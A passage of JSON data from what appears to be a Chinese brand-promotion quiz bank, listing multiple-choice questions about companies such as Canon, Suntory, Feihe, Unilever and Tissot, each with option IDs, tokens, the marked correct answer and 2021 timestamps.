Mesh路由器适合覆盖哪种户型?","options":"[{\"optionId\":\"IsUSx0BRiDoEt620opcfqHy1wLidcnGFignV\",\"optionDesc\":\"大户型\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEt620opcfq6hm14DyMZBf67rT\",\"optionDesc\":\"小户型\"},{\"optionId\":\"IsUSx0BRiDoEt620opcfqotSqCcb8x2Hkb2t\",\"optionDesc\":\"商场\"}]","questionToken":"IsUSx0BRiDoEt63jsd8E_Z_oxqpCyg4Qlpq2-PnC5Q3IB3OIHdeHT01PS3Z4_Hk4U1KWciMgWc-pnT4MoG1W5yVOTsD-nQ","correct":"{\"optionId\":\"IsUSx0BRiDoEt620opcfqHy1wLidcnGFignV\",\"optionDesc\":\"大户型\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"9101427467","questionIndex":"4","questionStem":"领势换新时间多久?","options":"[{\"optionId\":\"IsUSx0BRiDoEtq20opcfqLuJiFuKf8t1o-YBtQ\",\"optionDesc\":\"3年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoEtq20opcfq8GvqNUXBrkD12YSQw\",\"optionDesc\":\"1年\"},{\"optionId\":\"IsUSx0BRiDoEtq20opcfqvEPmbKDoUQiI8W-2Q\",\"optionDesc\":\"3个月\"}]","questionToken":"IsUSx0BRiDoEtq3jsd8E_eXSeyV9WS7p1i8rA8rBM78pK6XLcUx0C-veDNQV5vafLjAfI0FoUZ3OZ0wizOPBh4dSygLYuw","correct":"{\"optionId\":\"IsUSx0BRiDoEtq20opcfqLuJiFuKf8t1o-YBtQ\",\"optionDesc\":\"3年\\t\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"9101427468","questionIndex":"3","questionStem":"领势是否有提供上门安装服务?","options":"[{\"optionId\":\"IsUSx0BRiDoEua20opcfqEp61DeeKGW5ENA\",\"optionDesc\":\"部分免费\"},{\"optionId\":\"IsUSx0BRiDoEua20opcfq9X-bhaRNTUHhR8\",\"optionDesc\":\"无\"},{\"optionId\":\"IsUSx0BRiDoEua20opcfqiDqY6sOQUQLIDE\",\"optionDesc\":\"付费上门\"}]","questionToken":"IsUSx0BRiDoEua3ksd8E_UJcgCObBL-2jQlf2APZVseV5VAFh3uoItsWxwDPHJLTGC2MqPHmldN_l_3E8k0Ho8sAJYojtQ","correct":"{\"optionId\":\"IsUSx0BRiDoEua20opcfqEp61DeeKGW5ENA\",\"optionDesc\":\"部分免费\"}","create_time":"27/1/2021 04:51:30","update_time":"27/1/2021 04:51:30","status":"1"},{"questionId":"9101427609","questionIndex":"3","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmiQyx9ZizUkdEdaB3xg\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmigPXVJD_98idBUXTUA\",\"optionDesc\":\"红色\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmiO4rrHJZO7_XYNhK7g\",\"optionDesc\":\"黄色\"}]","questionToken":"IsUSx0BRiDi_ZLHcTKP938KiGImkVsFMV_595rs7M2DsJ_jFSGOA4ugY3nrQxPVi88ZknnzvYEGT_Em56cGvPboOh_Mtlw","correct":"{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmigPXVJD_98idBUXTUA\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:53:34","update_time":"27/1/2021 04:53:34","status":"1"},{"questionId":"9101427627","questionIndex":"2","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiiRE0qVSHAWgZA9b\",\"optionDesc\":\"任何年龄段都适用\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiMiBZuQZpRRFWQuh\",\"optionDesc\":\"50岁以上\"},{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiR0g3DTPvgbM1DTn\",\"optionDesc\":\"20岁以下\"}]","questionToken":"IsUSx0BRiDi9arHdTKP92KkzY3gJ6aODzN8VU86ADh7xYvdvByPy8JESu1-RHxwuZ4QQUuXZVRPlrBOmhCkogjw1FJ-u4A","correct":"{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiiRE0qVSHAWgZA9b\",\"optionDesc\":\"任何年龄段都适用\\t\\t\"}","create_time":"27/1/2021 04:35:33","update_time":"27/1/2021 04:35:33","status":"1"},{"questionId":"9101427628","questionIndex":"5","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmivlZEYiNFWalVYxP\",\"optionDesc\":\"1937年\\t\"},{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmiF9-_-xvA_ljuEDi\",\"optionDesc\":\"1957年\"},{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmiZ5a2xVrWWphF4tj\",\"optionDesc\":\"2017年\\t\"}]","questionToken":"IsUSx0BRiDi9ZbHaTKP93xe5xnGz8NeLAn93EfDscuWGQu-nAtB7jaHw_aF9vwSeeFeYUSsLSFeC01NOI78H4u7dutOsNg","correct":"{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmivlZEYiNFWalVYxP\",\"optionDesc\":\"1937年\\t\"}","create_time":"27/1/2021 04:44:18","update_time":"27/1/2021 04:44:18","status":"1"},{"questionId":"9101427629","questionIndex":"4","questionStem":"佳能总部坐落于?","options":"[{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmiOVOvgTHss3-_AA\",\"optionDesc\":\"加拿大\"},{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmiXda18uUJAtKX_Q\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmis48LBvto1viu9Y\",\"optionDesc\":\"日本\\t\"}]","questionToken":"IsUSx0BRiDi9ZLHbTKP92P2_6R7B56gHQviZU7EsKBnx975jnpqdhs_Z7AtrQkBX9q8uqCkq-fWr-aWcSnEzzoMiYJddtQ","correct":"{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmis48LBvto1viu9Y\",\"optionDesc\":\"日本\\t\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"9101427630","questionIndex":"2","questionStem":"佳能的广告语是什么?","options":"[{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiMYWeYd6cguVH9Q\",\"optionDesc\":\"佳能,感动不止所见\"},{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiZG0-K8CGdO5V54\",\"optionDesc\":\"佳能,记录美一瞬间\\t\"},{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiqSb7n51FwfUoHQ\",\"optionDesc\":\"佳能,感动常在\"}]","questionToken":"IsUSx0BRiDi8bbHdTKP934Ji0sfehbsLQ1s3Mu-B2VkkIbPMVlUfe6q1_BgY9RuMBCH9VHyYg2EjLvVLT3KVmG8Y3JlVNQ","correct":"{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiqSb7n51FwfUoHQ\",\"optionDesc\":\"佳能,感动常在\"}","create_time":"27/1/2021 04:50:03","update_time":"27/1/2021 04:50:03","status":"1"},{"questionId":"9101427631","questionIndex":"4","questionStem":"伊利金领冠是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiqWpZKAsAntuAFoe2g\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiLaZ9i48kQYk1OVyqQ\",\"optionDesc\":\"法国 \"},{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiVmJuTB_KFFYPeG8pg\",\"optionDesc\":\"新西兰\"}]","questionToken":"IsUSx0BRiDi8bLHbTKP93z_-VlCyMsePXmHAFfrOLB9foYpkLXQ-zrbJayLJ1D8LszhN9OeP4dDKux-yjONDXmGbxFZ-Fw","correct":"{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiqWpZKAsAntuAFoe2g\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:48:26","update_time":"27/1/2021 04:48:26","status":"1"},{"questionId":"9101427633","questionIndex":"4","questionStem":"伊利金领冠有几大中国发明专利?","options":"[{\"optionId\":\"IsUSx0BRiDi8brGMX-vmiQhw9gTH_9OhYW5pdg\",\"optionDesc\":\"1\"},{\"optionId\":\"IsUSx0BRiDi8brGMX-vmioMizmbt6FTYtxMjwA\",\"optionDesc\":\"5\"},{\"optionId\":\"IsUSx0BRiDi8brGMX-vmiDActoRHM18HAt8g4A\",\"optionDesc\":\"2\"}]","questionToken":"IsUSx0BRiDi8brHbTKP92AslsTF0u0ky3QP3MBcGXg68dHk2txrVs9Mog-PFSRIUAaJZ1lrgte5Lp_sptYqYMUvfqMZKIg","correct":"{\"optionId\":\"IsUSx0BRiDi8brGMX-vmioMizmbt6FTYtxMjwA\",\"optionDesc\":\"5\"}","create_time":"27/1/2021 04:03:34","update_time":"27/1/2021 04:03:34","status":"1"},{"questionId":"9101427634","questionIndex":"4","questionStem":"“六维易吸收”指的是金领冠旗下哪款产品?","options":"[{\"optionId\":\"IsUSx0BRiDi8abGMX-vmitT2lQetwQy2JG_s\",\"optionDesc\":\"珍护\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8abGMX-vmiTRSfJSfgbtqlHOP\",\"optionDesc\":\"睿护\"},{\"optionId\":\"IsUSx0BRiDi8abGMX-vmiO_arvCTpYJdrvQT\",\"optionDesc\":\"菁护\"}]","questionToken":"IsUSx0BRiDi8abHbTKP93__gADyXyRQnYCgyR0AEoVB1iw3-1dMJaSj4MgwCkPcQ2i569yVadwkrzgSm46esoRk9PMy4EQ","correct":"{\"optionId\":\"IsUSx0BRiDi8abGMX-vmitT2lQetwQy2JG_s\",\"optionDesc\":\"珍护\\t\\t\"}","create_time":"27/1/2021 04:43:52","update_time":"27/1/2021 04:43:52","status":"1"},{"questionId":"9101427635","questionIndex":"5","questionStem":"金领冠拥有中欧双重有机认证的奶粉是?","options":"[{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmikmvUibN2YHGpjbe\",\"optionDesc\":\"塞纳牧\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmiNfMAdXVBfOYVyWH\",\"optionDesc\":\"睿护\"},{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmifsyBicFPYBaqMhX\",\"optionDesc\":\"珍护\"}]","questionToken":"IsUSx0BRiDi8aLHaTKP939WnXDptYYgBbsGuzwOCwSmZ2nIs0E-iFrMZ5EvRLK0UCFN89dUBPScoE8iOdYnDeYU3_YnENA","correct":"{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmikmvUibN2YHGpjbe\",\"optionDesc\":\"塞纳牧\\t\\t\"}","create_time":"27/1/2021 04:40:18","update_time":"27/1/2021 04:40:18","status":"1"},{"questionId":"9101427636","questionIndex":"3","questionStem":"以下哪个不属于金领冠的业务范围? ","options":"[{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiszP0vtDjZJkksA\",\"optionDesc\":\"牛奶 \\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiWi8XQmjWWvDWyM\",\"optionDesc\":\"草饲奶粉\"},{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiJt5pHdNE3kh2S8\",\"optionDesc\":\"羊奶粉\"}]","questionToken":"IsUSx0BRiDi8a7HcTKP935Qt2ROmKwtQBiYoOPrOahmfOy66rcyOYMaMzxQEPUtDfl6YaLs8qeYiE5XIYGbg1_y14QMJIw","correct":"{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiszP0vtDjZJkksA\",\"optionDesc\":\"牛奶 \\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"9101427637","questionIndex":"5","questionStem":"三得利是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiDLOLbv36_wumlYAyw\",\"optionDesc\":\"韩国\"},{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiiI_P5DzSyz5pjzR8g\",\"optionDesc\":\"日本\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8arGMX-vmidNOgYJQts2ILNxmLw\",\"optionDesc\":\"中国\"}]","questionToken":"IsUSx0BRiDi8arHaTKP92GgBGwkGbWiZwz8ujWwYMoagoS0wbVP8dkiBTwt_Z2HnaVSxN-KkXod2v3mq_dqxMxYUx4i0pw","correct":"{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiiI_P5DzSyz5pjzR8g\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:03:35","update_time":"27/1/2021 04:03:35","status":"1"},{"questionId":"9101427638","questionIndex":"2","questionStem":"三得利饮料最畅销的是哪个系列?","options":"[{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmiYtCIyOVd1ICMjYJpw\",\"optionDesc\":\"沁系列\"},{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmiLxPoEXaONbK-9eDIg\",\"optionDesc\":\"利趣咖啡系列\"},{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmitWNtmI-FWyTQ5rWRw\",\"optionDesc\":\"茶系列\\t\\t\"}]","questionToken":"IsUSx0BRiDi8ZbHdTKP93ylMh-trr7eN-QkRxADtvGKoipnxOxQ1O4l34CWYhDNYwn2MDE4hGYQlp80349ffI-h1aO9B_Q","correct":"{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmitWNtmI-FWyTQ5rWRw\",\"optionDesc\":\"茶系列\\t\\t\"}","create_time":"27/1/2021 04:44:46","update_time":"27/1/2021 04:44:46","status":"1"},{"questionId":"9101427661","questionIndex":"2","questionStem":"三得利标志的颜色是哪个?","options":"[{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmiPuqITlO9NfY3LpI\",\"optionDesc\":\"黑色\"},{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmirxWp0poC7S2BdnX\",\"optionDesc\":\"蓝色\\t\"},{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmiVHnez536dsPI23F\",\"optionDesc\":\"白色\"}]","questionToken":"IsUSx0BRiDi5bLHdTKP937-iFvqTHVUHu949v9BiyEqHtZLrPBlYSVGK2rCG327eBTXHoNlmQ6NsNwqXMw92uiDZWebczQ","correct":"{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmirxWp0poC7S2BdnX\",\"optionDesc\":\"蓝色\\t\"}","create_time":"27/1/2021 04:41:48","update_time":"27/1/2021 04:41:48","status":"1"},{"questionId":"9101427664","questionIndex":"1","questionStem":"三得利哪一年进入中国?","options":"[{\"optionId\":\"IsUSx0BRiDi5abGMX-vmiTUYm8COUskFaKA\",\"optionDesc\":\"1999年\"},{\"optionId\":\"IsUSx0BRiDi5abGMX-vmiJxXG-mvDkREKok\",\"optionDesc\":\"1899年\"},{\"optionId\":\"IsUSx0BRiDi5abGMX-vmioXgYDKFuVWv4wI\",\"optionDesc\":\"1984年\\t\\t\"}]","questionToken":"IsUSx0BRiDi5abHeTKP92GokWIbwaZtCeYvjMxQwWyrJpQi_sOQW9QAwagr0Ywcd8fWgkVcWEU3QbeQstN8ryqQIvpLiTg","correct":"{\"optionId\":\"IsUSx0BRiDi5abGMX-vmioXgYDKFuVWv4wI\",\"optionDesc\":\"1984年\\t\\t\"}","create_time":"27/1/2021 04:40:33","update_time":"27/1/2021 04:40:33","status":"1"},{"questionId":"9101427665","questionIndex":"1","questionStem":"三得利新乌龙茶在哪方面进行了重点升级?","options":"[{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiNucgJ9HCwwpd2-KwQ\",\"optionDesc\":\"瓶型\"},{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiux91RYtKqBJ1aunTQ\",\"optionDesc\":\"特级茶叶\\t\"},{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiYVOgBapHJZ4ynTZeA\",\"optionDesc\":\"包装\\t\"}]","questionToken":"IsUSx0BRiDi5aLHeTKP932D1g08GBpfDVHTaW_4Pc4XBS9J-Bkiv9qmH8LkwfYWd7m12bwfF99ydtEq32rruw7Agd_gi-g","correct":"{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiux91RYtKqBJ1aunTQ\",\"optionDesc\":\"特级茶叶\\t\"}","create_time":"27/1/2021 04:50:28","update_time":"27/1/2021 04:50:28","status":"1"},{"questionId":"9101427878","questionIndex":"5","questionStem":"飞鹤系列中富含乳铁蛋白的产品是?","options":"[{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxKxEqUldYRPKp-2S\",\"optionDesc\":\"飞帆\"},{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxUV-fNIHsvkSerAX\",\"optionDesc\":\"星飞帆\"},{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxtJb_MpKgbiQh2pt\",\"optionDesc\":\"超级飞帆\\t\\t\"}]","questionToken":"IsUSx0BRiDbzdzGz8iSUk8EwyUwMdUwojiXOQiTFk3IKmCsRHp7lcXZ91fr4PzTM4aJHRWFgggA2wZe2jTOzQN_iQ5RLVg","correct":"{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxtJb_MpKgbiQh2pt\",\"optionDesc\":\"超级飞帆\\t\\t\"}","create_time":"27/1/2021 04:37:26","update_time":"27/1/2021 04:37:26","status":"1"},{"questionId":"9101427952","questionIndex":"3","questionStem":"飞鹤的“黄金”奶源带位于?","options":"[{\"optionId\":\"IsUSx0BRiDdxseGGGvvDyFpnX82hZRhW8C2y\",\"optionDesc\":\"北纬47°\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdxseGGGvvDy2DfdyQ4UZSUZnT2\",\"optionDesc\":\"南纬47°\"},{\"optionId\":\"IsUSx0BRiDdxseGGGvvDys64isuHF-VLPbBz\",\"optionDesc\":\"北纬37°\"}]","questionToken":"IsUSx0BRiDdxseHWCbPYnZO7CFMD_-M6TOYYvSyEzt197A7zCDwTOoXQPE8hnG3KviTOmT3E-wWDu1og_ZG7JOtzgwA8iw","correct":"{\"optionId\":\"IsUSx0BRiDdxseGGGvvDyFpnX82hZRhW8C2y\",\"optionDesc\":\"北纬47°\\t\\t\"}","create_time":"27/1/2021 04:35:40","update_time":"27/1/2021 04:35:40","status":"1"},{"questionId":"9101427953","questionIndex":"1","questionStem":"以下哪一位是飞鹤代言人?","options":"[{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDy8tI743_wznNT4aM\",\"optionDesc\":\"赵薇\"},{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyhkpXWucHKAQBa9T\",\"optionDesc\":\"周迅\"},{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyGA506HPW8hhpV5_\",\"optionDesc\":\"章子怡\\t\"}]","questionToken":"IsUSx0BRiDdxsOHUCbPYnbbdzUYxa5D__08msV66a2NWwwhek2H2cNxkGFXwHNMrVac8gIFnHoKQ0Vdhk8oXel7JVvMJjA","correct":"{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyGA506HPW8hhpV5_\",\"optionDesc\":\"章子怡\\t\"}","create_time":"27/1/2021 04:47:25","update_time":"27/1/2021 04:47:25","status":"1"},{"questionId":"9101427955","questionIndex":"2","questionStem":"飞鹤奶粉配料表第一位是什么?","options":"[{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDy4pBz-9Ua1nW338\",\"optionDesc\":\"脱盐乳清液\"},{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDylaP7u9W_s0JbwY\",\"optionDesc\":\"脱脂乳粉\"},{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDyK5Rver2i6oqulw\",\"optionDesc\":\"生牛乳\"}]","questionToken":"IsUSx0BRiDdxtuHXCbPYnZt0c5aizz2vgJUEeZLnP8uRDjQ1KARRNtMymYzqZFdfYJw-cxKZIZmp_z27C1VPs8HohG-lOg","correct":"{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDyK5Rver2i6oqulw\",\"optionDesc\":\"生牛乳\"}","create_time":"27/1/2021 04:47:23","update_time":"27/1/2021 04:47:23","status":"1"},{"questionId":"9101427957","questionIndex":"3","questionStem":"哪一个不是联合利华工厂所在地?","options":"[{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDyHko-G2da0G_92c\",\"optionDesc\":\"沈阳\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDylJFABHRpvbiZQ8\",\"optionDesc\":\"金山\"},{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDy4XAYwPBPviulc4\",\"optionDesc\":\"潍坊\"}]","questionToken":"IsUSx0BRiDdxtOHWCbPYmjaOX5KNT3nODMREUoSuI9ibP6F4Zo2HlRlGL7RLGZ7IsHqtObY9P4tJFS2c3XR8FhUdrecgLg","correct":"{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDyHko-G2da0G_92c\",\"optionDesc\":\"沈阳\\t\\t\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"9101427958","questionIndex":"3","questionStem":"哪一位是联合利华清扬品牌代言人?","options":"[{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDy84ySlrF4chdS04VCA\",\"optionDesc\":\"大S\\t\"},{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyMsgn6n4nw0h1__hwA\",\"optionDesc\":\"c罗\\t\"},{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyvA1hLvc7WiUQz8QWQ\",\"optionDesc\":\"周华健\"}]","questionToken":"IsUSx0BRiDdxu-HWCbPYmiJweEksWYs5aIzvwl3fE4zUmp6w5nUwhZ9ggO1xXTq6CGYzVzqugSaSqXjK1bQ42BHRSEN8Pg","correct":"{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyMsgn6n4nw0h1__hwA\",\"optionDesc\":\"c罗\\t\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"9101427959","questionIndex":"5","questionStem":"联合利华集团成立于哪年?","options":"[{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDy7KG9waoDtY68FBWuw\",\"optionDesc\":\"1925年\"},{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyrIf5LVeTOIeeKGbwA\",\"optionDesc\":\"1930年\"},{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyCB1YgSF1Wm-0RB2nA\",\"optionDesc\":\"1929年\\t\"}]","questionToken":"IsUSx0BRiDdxuuHQCbPYnT9bT9kUagZj8yPQohusB-9YW2umP-fgAusPMWJhtSBjaUZcIdAY_Ce52slxMI9jIRBxVffWqg","correct":"{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyCB1YgSF1Wm-0RB2nA\",\"optionDesc\":\"1929年\\t\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"9101427960","questionIndex":"2","questionStem":"以下哪个品牌不属于联合利华?","options":"[{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyzV_SQ0JIAdyPM_-Uw\",\"optionDesc\":\"奥妙\"},{\"optionId\":\"IsUSx0BRiDdys-GGGvvDykTAot1yzbKYoyeP0g\",\"optionDesc\":\"植澈\"},{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyMIVAWkGjRSFmHVNPw\",\"optionDesc\":\"碧浪\\t\\t\"}]","questionToken":"IsUSx0BRiDdys-HXCbPYmic5Tm4M6w4W5y0M9snb8qYuDoaRffXJeLJG0qCyCAvd3FOnFqXAHg6E5WbhxgTMHDqJsKguMQ","correct":"{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyMIVAWkGjRSFmHVNPw\",\"optionDesc\":\"碧浪\\t\\t\"}","create_time":"27/1/2021 04:43:33","update_time":"27/1/2021 04:43:33","status":"1"},{"questionId":"9101427963","questionIndex":"3","questionStem":"天梭品牌成立于哪一年?","options":"[{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyDeOPmf-5AZ229g\",\"optionDesc\":\"1853年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdysOGGGvvDy5SpWQ4goRm9gK0\",\"optionDesc\":\"1894年\"},{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyqQkwbFTsicFEsQ\",\"optionDesc\":\"1874年\"}]","questionToken":"IsUSx0BRiDdysOHWCbPYna6QfG1bsBeDiwEhYDBP5xQV7blpwh_i3T4HAYp16_JpsBYDa1uE-G1wQWd5GaT-5Vv6m7KjEQ","correct":"{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyDeOPmf-5AZ229g\",\"optionDesc\":\"1853年\\t\\t\"}","create_time":"27/1/2021 04:39:14","update_time":"27/1/2021 04:39:14","status":"1"},{"questionId":"9101428030","questionIndex":"1","questionStem":"天梭唯一以诞生地命名的系列是?","options":"[{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzvdAN-nL0hN43EzEj\",\"optionDesc\":\"弗拉明戈系列\"},{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzv6gFD9CODBd34A9u\",\"optionDesc\":\"力洛克系列\\t\\t\"},{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzvO2yhoRpTR8Oi_py\",\"optionDesc\":\"杜鲁尔系列\"}]","questionToken":"IsUSx0BRhz7DU8nhIXqo7bmcsbXNXrAdM4lcLZkXhH3RUQYOnU7EI8IH2oNC5urXKTgEivPy8hl-_JN_myLvslVJ27e-Xg","correct":"{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzv6gFD9CODBd34A9u\",\"optionDesc\":\"力洛克系列\\t\\t\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"9101428031","questionIndex":"2","questionStem":"以下哪位是天梭代言人?","options":"[{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvXp9ttEuXD1K8A\",\"optionDesc\":\"郑凯\"},{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvCv6sQbxgHpMyQ\",\"optionDesc\":\"李荣浩\"},{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvyDYZT7PvHD_5A\",\"optionDesc\":\"黄晓明\\t\\t\"}]","questionToken":"IsUSx0BRhz7DUsniIXqo7YN-fWEyYyea-6fQ15NOgDotN-SWbqum2YloF24LKuqRdAio5zDee9LpGXJmN4eeTPiZl8m8KA","correct":"{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvyDYZT7PvHD_5A\",\"optionDesc\":\"黄晓明\\t\\t\"}","create_time":"27/1/2021 04:49:28","update_time":"27/1/2021 04:49:28","status":"1"},{"questionId":"9101428032","questionIndex":"3","questionStem":"天梭属于哪类手表?","options":"[{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvDwvBNim9jbg5z4N\",\"optionDesc\":\"日本手表\"},{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvVAzJb4WJ0w2upA-\",\"optionDesc\":\"欧美手表\"},{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvxfAhrj24koONfbf\",\"optionDesc\":\"瑞士手表\\t\\t\"}]","questionToken":"IsUSx0BRhz7DUcnjIXqo6iKFzjWj7T2YSCRUFXaMV8XAO3FRl0NDh3hN1LKM3UKydj79FiPHixjizk3603KO7dJhBIy54Q","correct":"{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvxfAhrj24koONfbf\",\"optionDesc\":\"瑞士手表\\t\\t\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"9101428033","questionIndex":"4","questionStem":"天梭腕表的质保期?","options":"[{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzv9xpX8O3K1IFj32g\",\"optionDesc\":\"两年全球联保\\t\"},{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzvaLLTguzTd7DGjCN\",\"optionDesc\":\"18个月保修\"},{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzvAJDFuhPb2l1Jhz7\",\"optionDesc\":\"一年保修\\t\"}]","questionToken":"IsUSx0BRhz7DUMnkIXqo7XGqtEz_yNjDIgcivQ6wiwpyxw2l74zHThw5Sbj4fiwrMwz9dVJV_JhWcrJ8xV8FzLszzMYz6w","correct":"{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzv9xpX8O3K1IFj32g\",\"optionDesc\":\"两年全球联保\\t\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"9101428035","questionIndex":"2","questionStem":"百威啤酒诞生于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzvYTi5zE-9bp6gSkItg\",\"optionDesc\":\"比利时\"},{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzvNmpmhF4i_m5o2AEcQ\",\"optionDesc\":\"英国\"},{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzv9sLeazM_8n8-gqW_g\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"IsUSx0BRhz7DVsniIXqo6t5O9jaiCK1anJMqVw4oOGu3xKYuiCuJAWjF2Tcabry5RubZD9cTXztniuYTmDooTOLqZLj1WQ","correct":"{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzv9sLeazM_8n8-gqW_g\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 